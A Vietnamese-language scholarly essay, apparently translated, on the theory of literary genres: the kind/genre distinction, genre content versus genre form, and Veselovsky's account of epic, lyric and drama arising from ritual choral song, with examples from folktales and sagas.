Những vấn đề thể loại văn học chưa mấy được nghiên cứu trong khoa nghiên cứu văn học hiện đại. Thậm chí chính thuật ngữ “thể loại” (Janr) được dùng với phạm vi hai ý nghĩa khác nhau. Người ta thường gọi các thể loại là cái vẫn được thừa nhận gọi là các “loại” (rođ) văn học, như tự sự, trữ tình, kịch. Thực ra, tính theo từ nguyên, Janr – tiếng Pháp là “genre” (tiếng Latinh là genus) cũng có nghĩa là “loại”. Nhưng điều đó lại vi phạm truyền thống sắp xếp đã có từ rất lâu việc gọi từ “thể loại” (Janr) không phải là các loại (rođ) văn học, mà là những gì đã hình thành riêng biệt hơn, tồn tại ngay trong những phạm vi của các loại (rođ) khác nhau, thí dụ như trường ca, tiểu thuyết, truyện ngắn, bút ký hoặc là tụng ca, bi ca, thơ trào phúng hoặc bi kịch, hài kịch, hài kịch thông tục v.v…
Với ý nghĩa truyền thống đó, chúng tôi cũng sẽ nói về các thể loại văn học. Nhưng câu hỏi rằng, cái gì làm cho tất cả các thể loại được phân biệt với nhau, theo những nguyên tắc chung như thế nào, để xem xét việc phân chia, phân loại, còn rất mù mờ và việc giải quyết câu hỏi đó thật khó khăn.
Khó khăn về vấn đề này thật nhiều. Một trong những điều đó là việc gọi các thể loại được đưa ra không phải trong các công trình của các nhà khoa học trong quá trình nghiên cứu các thể loại, mà xuất hiện một cách thầm lặng thì hàng nghìn, hàng trăm năm nay ở các nước khác nhau, ở các ngôn ngữ khác nhau, trong hoàn cảnh sáng tạo các tác phẩm văn học, trong hoàn cảnh diễn xướng của người nghe và người đọc, và đến thời kỳ gần đây là hoàn cảnh của các nhà văn và các nhà phê bình theo những khuynh hướng văn học khác nhau. Và như vậy, một khi xuất hiện ở nước ta hay nước khác, một số tên gọi thể loại được tiếp nhận từ các nước khác nhau, một số từ thời kỳ rất sớm hoặc một số vào thời kỳ gần đây, lại đồng thời vừa gợi những liên tưởng khác nhau và vừa được sử dụng với ý nghĩa khác nhau.
Thí dụ, ở Italia, từ “truyện ngắn” (novella) thoạt đầu được sử dụng với ý nghĩa về thể loại của những tác phẩm văn xuôi và truyện kể khác nhau: tiểu thuyết hiệp sĩ, những huyền thoại anh hùng cổ xưa, tiểu thuyết lịch sử, những truyện hoang đường v.v…, và đồng thời cả những câu chuyện kể khôi hài về đời sống hàng ngày (tập “Truyện ngắn, hay là “Một trăm truyện ngắn cổ” – cuối thế kỷ XIII). Nhưng muộn hơn, đặc biệt với sự xuất hiện của “Câu chuyện mười ngày” của Bôcátxiô, do đó novella trở thành tên gọi của nội dung các câu chuyện về cái “khôi hài” thường ngày. Ở Pháp, cái tên này (la novella) cũng được sử dụng với nghĩa như vậy, thậm chí đối với tất cả những cái gì liên quan tới tác phẩm văn xuôi ngắn (truyện cổ tích, truyện vừa) phân biệt với những tác phẩm tự sự cỡ lớn – tiểu thuyết (la roman). Ở Anh, novella được gọi cho những tiểu thuyết sinh hoạt hiện thực, phân biệt với những tiểu thuyết phiêu lưu, lãng mạn, phản ánh những gì không bình thường được gọi là roman, còn những tác phẩm ngắn hơn – truyện ngắn, truyện kể, truyện cổ tích – gọi là talê (tales). Ở Nga, từ novella được tiếp thu rất chậm, tận cuối thế kỷ XIX, thậm chí đến tận thế kỷ XX. Vì vậy, thí dụ, trong thời kỳ Puskin viết một loạt những truyện ngắn tuyệt tác của mình (Phát súng, Bão tuyết, Người nông dân Barưsinhin và những truyện khác) những người cùng thời và chính ông gọi đó là những “truyện vừa” (pôvết).
Còn nhiều thí dụ tương tự. Điều đó chứng tỏ rằng, không hiếm khi một tên gọi đã chỉ rõ rằng các tác phẩm là khác nhau về thể loại và ngược lại một thể loại lại được lưu truyền ở các nước khác nhau, trong các thời gian khác nhau với những tên gọi khác nhau. Vậy các nhà nghiên cứu văn học cần làm như thế nào đây? Lẽ nào trong văn học đã tồn tại không chỉ các thể loại, mà ở các dân tộc khác nhau, trong các thời kỳ lịch sử khác nhau còn tích lũy được những tên gọi khác nhau của các thể loại đó? Có lẽ, các nhà nghiên cứu văn học cần bắt đầu từ việc chuyển hóa lặng lẽ những tên gọi thể loại đã có – mà một số trong đó đã bị loại bỏ, còn một số vẫn được lưu giữ – sang những thuật ngữ khoa học với một ý nghĩa xác định nào đấy, mặc dù có khi chỉ mang ý nghĩa ước lệ. Và đôi khi có lẽ phải bổ sung đề xuất cả những thuật ngữ mới nào đó nữa.
Nhiệm vụ này thật khó khăn. Những truyền thống phức tạp trong nhiều thế kỷ, các thói quen dân tộc đã được bồi đắp trong nhận thức bao thế hệ, còn cả những khái niệm đã được thu nhận từ thuở ấu thơ trong gia đình và nhà trường, được củng cố bằng các sách giáo khoa đầy uy tín và các ông thầy, tất cả đã làm trở ngại việc tiến hành nhiệm vụ ấy.
Đặc biệt, chính các nhà văn có uy tín lại làm công việc này thêm khó khăn. Họ thường đặt cho những tác phẩm của mình những tên gọi thể loại nhất định, và các tác phẩm ấy đã sống trong nhận thức xã hội từ rất lâu dưới cái tên đó. Tuy nhiên, các tác giả vẫn hoàn toàn có thể nhầm lẫn khi bị chỉ đạo bởi những liên tưởng phù hợp vào những điều đó. Chính Gôgôn đã gọi “Những linh hồn chết” là trường ca khi sử dụng này với một ý nghĩa không bình thường và gợi lên sự phân vân ở những người cùng thời. Hoặc Ôxtrôpxki gọi “Giông tố” là kịch đram (chính kịch) chứ không phải bi kịch, bởi vì có lẽ xuất phát từ chỗ trong bi kịch thường phản ánh những sự kiện lịch sử và các nhân vật tương ứng (vua chúa, các vị thống lĩnh, quý tộc) chứ không phải bọn lái buôn và việc buôn qua bán lại. Vậy thì các nhà nghiên cứu văn học lại đi ngược với ý kiến của chính các tác giả chăng? Tốt nhất có lẽ là nên hiểu các nhà văn đã suy nghĩ về cái gì và họ đã tiếp nhận điều đó ra sao.
Nhưng khoa học, tất nhiên, không phải luôn luôn có thể dựa vào ý kiến của các nhà văn. Trong những ý kiến ấy cần phải có những tiêu chuẩn của mình, những tiêu chuẩn đã được kiểm nghiệm, mang tính lôgic, lịch sử – khách quan về việc xây dựng một hệ thống thuật ngữ về thể loại, dù rằng có khi chỉ mang tính quy ước. Và không chỉ lựa chọn thuật ngữ để chỉ rõ một thể loại nào đó, còn phải xây dựng các thuật ngữ tách biệt cho toàn bộ hệ thống thể loại cần có một vị trí riêng biệt của mình. Việc nghiên cứu chỉ các thể loại riêng biệt bên ngoài ý đồ xây dựng một hệ thống của chúng, bằng cách như nhiều nhà lý luận văn học thường quan tâm, không thể đưa đến những kết luận khả năng. Không có việc đối chiếu một thể loại này với các thể loại khác sẽ rất khó giải thích tính đa dạng của từng thể loại.
Thí dụ rõ nhất về mối quan hệ này, thoạt tiên, đã được các nhà folkore hiện đại chúng ta chỉ ra. Họ đã tiến hành thường xuyên việc phân loại có hệ thống các thể loại trong lĩnh vực của mình. Nhưng, đáng tiếc là họ đã nghiên cứu toàn bộ folkore (văn hóa dân gian) chỉ về thể loại và cho rằng cách hiểu này là có cơ sở. Vì thế, họ rất khó khăn nhận thấy rằng những phương diện nào là dấu hiệu của riêng một thể loại: thí dụ hệ đề tài, sự xuất hiện và trình độ của những hình tượng hoang đường, tính truyền thống và cách diễn xướng v.v…, mà chúng vẫn có thể tồn tại ở các thể loại khác nữa. Tính nhiều nguyên tắc này của việc phân loại đã gây trở ngại cho việc giải quyết vấn đề.
Nhiệm vụ cơ bản và mức độ khó khăn của việc nghiên cứu các vấn đề thể loại một lần nữa được chỉ ra là, phải phân loại toàn bộ sự phong phú và phức tạp của nội dung và hình thức tác phẩm văn học thành những đặc tính và phương diện thế nào mà chúng chính là đặc điểm thể loại đặc thù, khác với tất cả cái khác – phi thể loại.
Không nên, ví dụ, cho rằng việc phân chia tiểu thuyết thành tiểu thuyết lịch sử và tiểu thuyết hiện đại, hay là theo kiểu khác, thành tiểu thuyết chính trị và tiểu thuyết triết lý đã là phân chia thể loại. Lịch sử và đương thời trong tác phẩm nghệ thuật có liên quan tới lĩnh vực đề tài của tác phẩm, còn mối quan tâm chính trị hay triết học của các nhân vật và của chính nhà văn liên quan tới lĩnh vực toàn bộ các vấn đề của tác phẩm. Vì thế, lịch sử hay đương thời thuộc về hệ đề tài, còn chính trị và triết học thuộc về hệ chủ đề tồn tại trong tác phẩm chứ không phải là toàn bộ vấn đề thể loại văn học. Có nghĩa là, tất cả việc phân chia này không liên quan tới vấn đề thể loại.
Lại càng không thể cho rằng bản chất thể loại nằm ở nguyên cớ kết cấu của tác phẩm. Thí dụ, trong trữ tình, thông tin – không phải là thể loại. Đó là lý do của trầm tư trữ tình, những trầm tư được bắt đầu từ sự hướng tới nhân vật này hay khác. Điều đó thường chỉ là nguyên cớ bên ngoài để bộc lộ, còn tự bản thân thì không được nhắc đến, và nhà thơ vẫn hướng tới một ai đó. Cách thức như thế của những lý do sáng tạo có thể được sử dụng ở các thể loại khác nhau: tụng ca, bi ca, tiểu thuyết, châm biếm trữ tình, thơ trào phúng… Cũng có thể nói cả về hình thức “du ký” trong văn tự sự và kể chuyện. Cái quan trọng không phải ở chỗ ai đó vì sao đã du hành, mà ở chỗ, tác giả miêu tả nhân vật theo kiểu du hành để làm gì, và cái gì được thấy xung quanh mình hoặc là cái gì được thực hiện đồng thời với chính mình. Trong hình thức “du ký” có thể được viết, có cả những tác phẩm mang nội dung anh hùng, cả văn châm biếm tự sự cỡ lớn và cả tiểu thuyết, cả tiểu thuyết viễn tưởng.
Vị tất cũng có thể nghĩ rằng các loại (rođ) và các thể loại văn học nhất định cần phải được hiểu như một hệ thống tổng hợp lôgic, và do đó, mỗi một loại lại có những thể loại riêng và trong mỗi thể loại, lại có những thể (viđ) của mình.
Thí dụ, châm biếm là một thể loại, trong đó có các thể loại như bài ca trữ tình, những truyện kể và cả kịch nữa.
Vậy thì có cần đến việc giải quyết câu hỏi xác định bản chất thể loại nói chung và việc tách biệt giữa các thể loại về mặt nguyên tắc không?
Tương tự với các biến thể của cảm hứng, tương tự với sự tách biệt trong nguyên tắc phản ánh đời sống, mà chúng ta đã nói về điều đó, các thể loại là một hiện tượng được lặp lại một cách lịch sử trong các thời đại khác nhau, trong sự phát triển của các nền văn học các dân tộc khác nhau, trong những khuynh hướng khác nhau của cùng một thời kỳ phát triển văn học – dân tộc. Nói cách khác, thể loại – không chỉ là hiện tượng lịch sử – cụ thể mà là một hiện tượng mang tính loại hình.
Từ đó nói rằng, các đặc điểm của thể loại văn học này hay khác không bao giờ có thể tìm kiếm được chỉ ở những đặc trưng hình thức tác phẩm văn học, ở đặc trưng về cách xây dựng và cấu trúc tác phẩm. Hình thức tác phẩm với toàn bộ những đặc trưng cụ thể của nó thường thay đổi một cách lịch sử, liên tục đồng thời với sự chuyển biến những đặc trưng cụ thể của nội dung tư tưởng tác phẩm, mà hình thức tác phẩm đã vừa thể hiện những đặc trưng đó vừa được tạo nên bởi những đặc trưng đó. Vì thế, tiểu thuyết, hài kịch, bi kịch, có thể có những khác biệt rất lớn về hình thức, về cách xây dựng tác phẩm cụ thể của mình trong sáng tác của các nhà văn khác nhau, được sáng tạo trong những thời đại khác nhau, thuộc về khuynh hướng khác nhau. Chúng có thể được xây dựng, thậm chí hoàn thiện theo những cách khác nhau, nhưng tất cả luôn còn lại những đặc điểm chung nào đó, được lặp đi lặp lại ở các tiểu thuyết, hài kịch, bi ca, những tác phẩm của một thể loại nhất định. Vậy, cần tìm kiếm đặc điểm chung về thể loại được lặp đi lặp lại đó là cái gì, tìm ở đâu, trong phương diện nào của tác phẩm? Hiển nhiên là, cần phải tìm trước tiên là ở trong phạm vi nội dung của tác phẩm.
Vì vậy, đối với các nhà nghiên cứu chỉ quan tâm một cách chung nhất tới quan điểm hình thức chủ nghĩa và không thừa nhận ý nghĩa của nhiều tác phẩm văn học và sự phát triển lịch sử của nội dung ấy, nhiệm vụ giải thích bản chất của thể loại và phân loại chúng là không thể thực hiện được. Và một vài nhà nghiên cứu kế tục, tán thành quan điểm, có tính phương pháp ấy, tất nhiên cũng bất lực trước việc giải quyết nhiệm vụ này. Thí dụ như K.Phôxlep, một trong những nhà ngữ văn Đức danh tiếng đầu thế kỷ XX, trong cuốn sách “Những hình thức thi pháp tiểu thuyết” của mình đã viết: “Câu hỏi, tiểu thuyết là gì, bản chất của nó là gì, thật là khó. Tôi không thể cả gan đưa một câu trả lời nhất định nào về điều đó”.
Có nghĩa là, cần thiết phải tìm hiểu, phân định tính đa dạng của nội dung các tác phẩm nghệ thuật thành những quan điểm nào đó, theo góc độ lặp đi lặp lại mang tính lịch sử của chúng, quan điểm đó chính là quan điểm thể loại, và bản chất chung của thể loại là ở chỗ tồn tại các quan điểm này và các biến thể của chúng.
Mặt khác, không cần thiết phải tập trung chú ý vào việc một số tác phẩm thuộc về một thể loại nào đó trong sáng tác của các nhà văn thuộc các dân tộc, các thời đại, các khuynh hướng khác nhau, và trong cả các sáng tác dân gian truyền miệng của các dân tộc khác nhau, vẫn có một vài đặc điểm khác biệt lặp lại mang tính lịch sử trong hình thức của mình. Thí dụ, xét về những đặc điểm chung của hình thức, thể loại tiểu thuyết (rôman) có thể là những tác phẩm văn xuôi (truyện kể theo nghĩa rộng của từ), hoặc là cả những tác phẩm thơ ca (trường ca) pôema, hoặc là cả những tác phẩm văn xuôi truyền miệng (truyện cổ – xkadơka) theo nghĩa rộng của từ v.v…
Đồng thời, đã trở nên sáng rõ rằng, một vài tên gọi thể loại có liên quan thật sự không phải về nội dung thể loại mà về những hình thức thể loại của tác phẩm – liên quan tới đặc trưng chung thế nào đó của việc xây dựng tác phẩm, của việc truyền đạt và diễn xướng, mà những hình thức ấy trong những đặc điểm chung nhất, được lặp lại và phát triển một cách lịch sử, lại có thể chứa đựng trong mình một nội dung thể loại khác. Xét về nội dung thể loại, truyện cổ (xcadơca) có thể là tiểu thuyết, nhưng cũng có thể mang nội dung cả thần thoại, truyền thuyết anh hùng, truyện sinh hoạt và châm biếm.
Cuối cùng, khi đề xuất việc phân biệt nội dung thể loại và hình thức thể loại vốn vẫn được lặp đi lặp lại mang tính lịch sử trong các tác phẩm văn học, chúng ta cần khẳng định rằng, chính việc nghiên cứu trên đây chưa thấm nhuần phương pháp lịch sử, và việc nghiên cứu đó cần thiết phải chú ý tới tính kế thừa – xã hội về những nguyên tắc của mình.

– 2 –
Chúng tôi bắt đầu, theo quan điểm này, nhận xét các hình thức thể loại của các tác phẩm văn học, chính xác hơn là các tác phẩm nghệ thuật ngôn từ, bắt đầu từ những sáng tác dân gian truyền miệng thời cổ. Những sáng tác ấy xuất hiện ở giữa thời kỳ phát triển nghệ thuật các dân tộc mà Hêghen gọi là thời kỳ “tiền nghệ thuật”. Chức năng nghệ thuật của nội dung trong các tác phẩm ấy, tất nhiên có liên quan tới nghệ thuật, nhưng chưa tách biệt với các chức năng khác của nó: bái vật giáo, ma thuật, thần thoại, thậm chí chức năng nghệ thuật còn được tiếp tục nhờ các chức năng này.
Để giải thích vấn đề về nguồn gốc của một vài hình thức thể loại sáng tác dân gian truyền miệng, nhiều khái quát quan trọng và thú vị có thể tìm thấy trong chương I của công trình cực kỳ uyên bác “Thi pháp học lịch sử” của A.N. Vêxêlôpxki – “Cấu trúc thơ ca cổ xưa và sự khởi đầu của việc phân hóa các loại thơ ca”- Khi giải quyết vấn đề nguồn gốc các loại (rođ) thơ ca – tự sự, trữ tình, kịch, nhà khoa học đã giải quyết luôn một loạt vấn đề có quan hệ trực tiếp tới nguồn gốc của các hình thức thể loại khác nhau trong phạm vi của mỗi loại này.
Nhưng, đồng thời với điều đó, việc nghiên cứu của nhà khoa học lại không bao quát được toàn bộ những tư liệu cần thiết và bị hạn chế bởi chính sự phiến diện này. Xuất phát từ suy nghĩ định kiến và chưa đáng tin cậy, rằng hầu như tất cả ba loại ngôn từ nghệ thuật (tự sự, trữ tình, kịch- ND) đều xuất phát từ những bài ca – điệu múa nghi lễ, nhà khoa học đã đưa vào phạm vi quan sát và khái quát chỉ những tác phẩm ngôn từ bài ca mang tính nhịp điệu mà cố tình bỏ qua toàn bộ văn xuôi truyền miệng thời cổ (thần thoại, truyện cổ tích, truyền thuyết v.v..). Quan điểm của ông thật phiến diện, nhưng dù sao đi nữa, trong những quan tâm của chúng ta, như chúng ta đang thấy, quan điểm này là đúng đắn và có kết quả.
Điều này liên quan chủ yếu tới cách hiểu của Vêxêlôpxki về sự xuất hiện và phát triển các hình thức thể loại, đặc biệt là tự sự. Tiếp tục chủ nghĩa thực chứng trong những quan điểm khoa học của mình và chỉ nghiên cứu nội tại quá trình phát triển ngôn từ nghệ thuật, nhà khoa học ít quan tâm tới nội dung, tư tưởng của nó. Ông tập trung chú ý vào một cơ sở là: trong dàn đồng ca nghi lễ (tổng hợp các bài ca – vũ), những nguyên tắc kết cấu – phong cách của các sự thể hiện ngôn từ như tự sự, trữ tình và kịch, đã dần dần xuất hiện, và sau đó phát triển độc lập. Những khái quát này của nhà khoa học rất có giá trị mặc dù không cần thiết làm hoàn thiện và phát triển thêm nữa.
Nhà khoa học đặc biệt chú ý nhiều đến việc xuất hiện của các hình thức tự sự khác nhau. Theo Vêxêlôpxki, chúng luôn kế tục những đặc điểm giống nhau (di truyền) trong một tính nhất quán nào đấy. Thoạt đầu, trong dàn đồng ca nghi lễ xuất hiện, người lĩnh xướng dẫn đầu dàn đồng ca, đó là vị chỉ huy, dần dần điều này trở thành đặc điểm được tiếp thu của việc kể chuyện. Khi nội dung kể chuyện thoạt đầu mang tính tự sự – trữ tình, lại tiếp thu một vài quy luật bên trong, trở thành những bài ca – kể chuyện đi kèm với những điệp khúc đệm vào của dàn đồng ca, và nó có thể được sử dụng bên ngoài những điệu ca – vũ của dàn đồng ca. Và nó (nội dung kể chuyện) tách ra khỏi dàn đồng ca trở thành những bài ca tự sự – trữ tình độc lập. Sau đó, những bài ca này lại dần dần mất đi tính trữ tình của mình và trở thành những bài ca tự sự độc diễn và trong những điều kiện lưu truyền từ một thế hệ các nghệ nhân hát – kể chuyện sang các thế hệ sau, những bài ca này lại tiếp thu một số những thủ pháp thể hiện truyền thống và cố định (phần mở đầu, sự lặp lại chủ đề, “vị trí chung” của mỗi thể loại, những tính ngữ ổn định…).
Tiếp nữa, ở một số nước, đặc biệt ở Hylạp thời cổ, bên cạnh những aêđam – người sáng tác và biểu diễn những bài hát riêng lẻ, không lớn lắm về dung lượng cốt truyện và văn bản, xuất hiện những rapđôxi – những người hát liên kết, “thống nhất” những bài hát riêng biệt có điệp khúc về một nhân vật chính nào đó hoặc một sự kiện quan trọng được miêu tả. Sau đó, những bài hát của một tổ khúc dính liền nhau này trở thành một tác phẩm hoàn chỉnh. Kết quả là đã có những tác phẩm tự sự – bài ca đồ sộ hoành tráng – những thiên anh hùng ca dân gian truyền miệng, mà thiên anh hùng ca cổ Hylạp “Iliát” và “Ôđixê” trước khi có những ghi chép và chỉnh lý văn học là như thế.
Có lẽ, từ thế kỷ thứ 6 trước công nguyên, những thiên anh hùng ca truyền miệng này đã được ghi chép, chỉnh lý dưới góc độ văn học, chúng có tên gọi “trường ca”, có nghĩa là những tác phẩm hoàn toàn trọn vẹn, hoàn chỉnh, có tính sáng tạo và cố định về văn bản, chứ không bị rơi vào sự ngẫu hứng ứng tác thơ ca như đã có trước đây trong điều kiện diễn xướng truyền miệng.
Từ sự kế tục lịch sử của việc xuất hiện toàn bộ những hình thức về việc kể chuyện bằng bài ca này, được Vêxêlôpxki đề ra, tuyệt nhiên không có nghĩa rằng chúng thay thế nhau trong folkllore của dân tộc này hay dân tộc khác. Việc kể chuyện bằng bài ca mang tính tự sự – trữ tình có thể cũng không mất đi ý nghĩa của mình, khi những bài ca tự sự thực ra được sắp xếp ngang hàng với những điệp khúc của những bài ca này, bài ca – tự sự không loại bỏ việc sử dụng riêng biệt những điệp khúc, còn sự biến thành tác phẩm hoàn chỉnh – anh hùng ca truyền miệng – không hề cản trở việc sử dụng những điệp khúc. Ngay cả trong xã hội tiền giai cấp, ở giai đoạn phát triển muộn hơn của xã hội đó, những hình thức khác biệt này của những tác phẩm mang dạng tự sự – bài ca có thể cùng tồn tại trong môi trường xã hội khác nhau, chứa đựng những nội dung thể loại khác nhau.
Còn trong phạm vi lớn, điều này liên quan tới đời sống của xã hội nô lệ và phong kiến. Thí dụ, có những điều kiện xã hội như thế nào đó mà trong nghệ thuật ngôn từ của một dân tộc ấy, lại xuất hiện những đặc điểm về nội dung mà những đặc điểm đó đòi hỏi phải phục hồi những bài ca tự sự – trữ tình. Có lẽ trong những điều kiện của thời kỳ đầu chế độ phong kiến, ở thế kỷ IX – XIII, những bài hát của người Xcanđơ ở Nauy và Aixơlen với phong cách tao nhã của chúng hoặc những bài hát có điệu bộ (chansons des gestes) của Pháp, hoặc ở giai đoạn muộn hơn của trình độ phát triển xã hội – những “đuma” (khúc bi ca) dân gian Ucraina là như vậy.
Theo Vêxêlôpxki, từ những điệu ca – vũ nghi lễ, xuất hiện thơ ca dân gian truyền miệng trữ tình. Khi người lĩnh xướng kể chuyện, làm bè trung tâm của bài ca nghi lễ, thì dàn đồng ca sẽ đáp lại nội dung của người lĩnh xướng bằng các điệp khúc bộc lộ tình cảm và những xúc cảm, ấn tượng của mình đối với điều mà người lĩnh xướng kể chuyện. Đó là sự đáp lại mang tính cảm xúc bằng các bài ca ngắn tuân theo nhịp điệu chung của những điệu múa, lặp đi lặp lại và vì thế có sự ràng buộc đối với lời ca. Có lẽ là, thoạt đầu, đó là những đoạn thơ hai câu, sau đó thống nhất về quy luật cân xứng về nhịp điệu trong những khổ thơ bốn câu. Và hình thức riêng biệt của việc diễn xướng ấy có thể được bảo tồn và những bài ca tự sự – trữ tình của dàn đồng ca chung ấy thể hiện nội dung mới, phi thần thoại nghi lễ lại có thể được thay đổi và phát triển những đặc điểm và phương tiện thể hiện tình cảm của mình.
Về sau, trên cơ sở những hình thức nghệ thuật này của bài ca trữ tình hát theo dàn đồng ca, khi sử dụng những nguyên tắc phong cách – kết cấu của nó, xuất hiện bài ca trữ tình độc thoại, đơn ca về nội dung đời sống hàng ngày, của cá nhân và cộng đồng. Và khi một dân tộc này hay khác xuất hiện chữ viết, thì những bài ca này trở thành yếu tố khởi nguyên của việc xuất hiện thơ ca trữ tình văn học, xuất hiện hình thức cơ bản của thơ trữ tình mà chúng ta thường gọi là “bài thơ”.
Khi kết luận một cách thiên tài rằng hình thức trữ tình bắt nguồn từ những bài ca – vũ nghi lễ, Vêxêlôpxki tạm gác bên ngoài việc nghiên cứu của mình những bài ca lao động của nhân dân thời nguyên thuỷ, mà những bài ca này trong khoa nghiên cứu nghệ thuật mang tính xã hội của chúng ta thường được nêu ra như là phương án đầu tiên. Điều đó tất nhiên là khiếm khuyết lớn của nhà khoa học. Tuy nhiên, vấn đề là ở chỗ con người lao động đồng nguyên thuỷ có thể từ rất sớm đã thấm nhuần tính nhịp nhàng có tổ chức mang tính tập thể trong những động tác lao động hoặc là cả trong những bài ca – vũ nghi lễ tập thể – vấn đề này không dễ giải quyết và cần được nghiên cứu.
Cuối cùng, từ trong những dàn đồng ca nghi lễ, Vêxêlôpxki đã mô tả thiên tài cả những hình thức của hành động kịch. Ở rất nhiều dân tộc, trong các nghi lễ thường nảy sinh không chỉ việc kể chuyện bằng các bài ca về những sự kiện nào đó, mà còn cả sự hình dung về nghệ thuật biểu diễn, trong đó, người diễn xướng đầu tiên, có lẽ, là vị chỉ huy, người lãnh đạo dàn đồng ca, vì vậy, anh ta cung là một diễn viên riêng biệt, có thể dẫn dắt những đối thoại tới toàn bộ dàn đồng ca. Thế là những mầm mống của kịch đã xuất hiện và dần dần phát triển sau đó. Nhà bi kịch cổ đại Etsil đưa ra hai diễn viên, Xôphôclơ đưa ra ba, và trong những hài kịch của Arixtôphan dàn đồng ca mất đi vai trò dẫn dắt vốn có của mình. Trong các vở hài kịch của kịch Lamã của Plat dàn đồng ca cũng không xuất hiện, còn việc thể hiện bằng các bài ca được giao cho các diễn viên của từng màn kịch. Đó là mầm mống xa xưa của thể ôpêret (nhạc hài kịch) và gần đây là ôpêra (nhạc kịch).
Như vậy, các hình thức thể loại cơ bản đã xuất hiện từ thời cổ trong mỗi loại thơ ca ấy đều có những thể loại riêng biệt của mình. Và chúng có thể được lặp lại sau đó ở các trình độ phát triển văn học khác nhau.
Tuy nhiên, Vêxêlôpxki, khi bị lôi cuốn theo tư tưởng của mình là tách ra khỏi những điệu ca – vũ nghi lễ tất cả ba loại thơ ca, như đã chỉ ra, đã xóa bỏ khỏi đối tượng nghiên cứu của mình toàn bộ sáng tác dân gian truyền miệng – truyện cổ tích. Mà những sáng tác này đã tồn tại và phát triển cùng thời với những bài ca – vũ nghi lễ và kịch diễn (nghệ thuật biểu diễn) và có lẽ còn sinh ra sớm hơn chúng rất nhiều.
Một vấn đề thú vị về các hình thức thể loại là, chúng ta nhận thấy rằng dưới vỏ một câu chuyện cổ tích là bất kỳ một chuyện kể văn xuôi truyền miệng nào đó đã xuất hiện và tồn tại trong môi trường dân gian. Những câu chuyện cổ tích, cổ xưa do những hạn chế về phương pháp và tư duy nghệ thuật của việc kể chuyện, có đặc điểm là tương đối ngắn gọn về cốt truyện cũng như sự trình bày.
Các nhà folkllore đã phân tách đúng đắn các thể (viđ) khác nhau của truyện cổ tích (xcadơka): truyện cổ tích “loài vật”, truyện cổ thần kỳ, truyện cổ tích anh hùng, truyện cổ tích sinh hoạt, truyện cổ tích ngắn: còn có cả những truyện cổ tích – tiểu thuyết (roman). Nhưng tất cả sự phân biệt này cũng chưa phải trên những hình thức thể loại của tác phẩm ngôn từ dân gian, mà là trên nội dung thể loại của nó. Thật ra, một số nhà folkllore học đã có truyền thống gọi từ “truyện cổ tích” chỉ cho những thể truyện cổ tích cổ theo nội dung của nó: “loài vật”, thần kỳ, có liên quan tới những môtíp thần thoại dân gian nguyên thủy. Nhưng quy ước này về khoa học lại rất bất tiện vì nó lại tạo nên một ý nghĩa kép của một thuật ngữ nào đó, thậm chí của chính thuật ngữ này.
Truyện cổ tích là một hình thức thể loại có thể phản ánh những nội dung thể loại khác nhau, tất nhiên cần điều chỉnh cho phù hợp những chi tiết hình tượng của mình. Và khi thể hiện một nội dung thể loại nào đó, khi chuyển giao từ một thế hệ người kể chuyện cổ tích này sang thế hệ khác, truyện cổ tích, tương tự những bài ca, đều dần dần rơi vào hiện tượng quy tắc hóa của việc tiếp nhận sử dụng. Tương tự với điều này là những bài ca tự sự, có đặc điểm tương đối ngắn gọn về cốt truyện và sự trình bày, về sau, khi “đồng ca” cùng những bài ca khác, bài ca tự sự này trở thành một phần của những “tổ khúc” bài ca hoặc thậm chí của những anh hùng ca, cũng như vậy, các câu chuyện cổ tích riêng lẻ có thể được kết hợp thành một tổ khúc có chu kỳ trong những cốt truyện của mình, và với những điều kiện nhất định, chúng thống nhất và chuyển hóa đôi khi thành tác phẩm truyện cổ tích lớn hơn, thậm chí đồ sộ, thành anh hùng ca văn xuôi của loại truyện cổ tích.
Về vấn đề này, có thể tìm thấy những thí dụ đặc biệt sáng rõ từ lịch sử folkllore của các dân tộc châu Âu trong sử thi châu Âu trong sử thi văn xuôi dân gian vùng Bắc Đức và Kenxkôi cổ. Như vậy có thể dự đoán rằng trong sử thi Aixơlen cổ thoạt đầu xuất hiện những câu chuyện cổ tích anh hùng (xaga) về Kukhulin, còn sau đó chúng được lặp đi lặp lại khi kể về chiến công này hay khác của nhân vật anh hùng này. Nhưng đến cả tác phẩm trọn vẹn và hoàn chỉnh phản ánh toàn bộ liên tục những chiến công của các anh hùng, những xaga này cũng không bị hòa lẫn. Trong những tổ khúc khác của những xaga Aixơlen phản ánh chiến công của nhân vật Phinn, lại nổi lên những xaga hoàn chỉnh riêng biệt, thí dụ, xaga về Điarmaiđơ và Grainđơ là như vậy.
Thật là thú vị khi nhận thấy trong vấn đề này, những xaga thuộc “giòng” Aixơlen thường bao trùm lịch sử nhiều thế hệ nhân vật anh hùng. Những xaga như vậy liên kết một cách tự phát một xaga nào đó với cái khác theo mối liên hệ nhân quả – tạm thời của các sự kiện, ghi sâu trong tâm khảm nhân dân. Còn về sau những tổ khúc như vậy thể hiện một khả năng tiềm tàng trở thành một tác phẩm trọn vẹn, và chúng có thể trở thành những tác phẩm hoàn chỉnh và tiếp tục được chỉnh lý. Thế là, vào thế kỷ XIII đã xuất hiện “Xaga về Vônxunga” nổi tiếng, và tác giả của nó, khi căn cứ vào từng phần nội dung anh hùng của cả bộ tập hợp những bài ca sử thi “Eđơ” và vào các truyền thuyết khác, đã sáng tạo nên một truyện sử thi đồ sộ, hoàn chỉnh vào cuộc đời và những chiến công của những chiến binh Nauy thuộc một dòng họ trọn vẹn mà trung tâm của câu chuyện kể đó là phản ánh những chiến công của Xigurđơ.
Đồng thời, cần nhận thấy rằng trong suốt một thời kỳ dài của giai đoạn trung cổ Tây Âu, giữa những tác phẩm tự sự cổ tích và tự sự thơ ca có không hiếm sự “trao đổi” đề tài độc đáo.
Những nhân vật và những cốt truyện khác nhau trở thành đối tượng lúc thì của việc kể chuyện bằng bài ca và lúc thì của việc kể chuyện cổ tích, nhưng cuối cùng là đối tượng của sử thi đích thực, hoặc là đối tượng của sử thi trữ tình (balat). Những hình thức thể loại đồng thời thay đổi, nhưng chính nội dung thể loại lại không hề thay đổi.
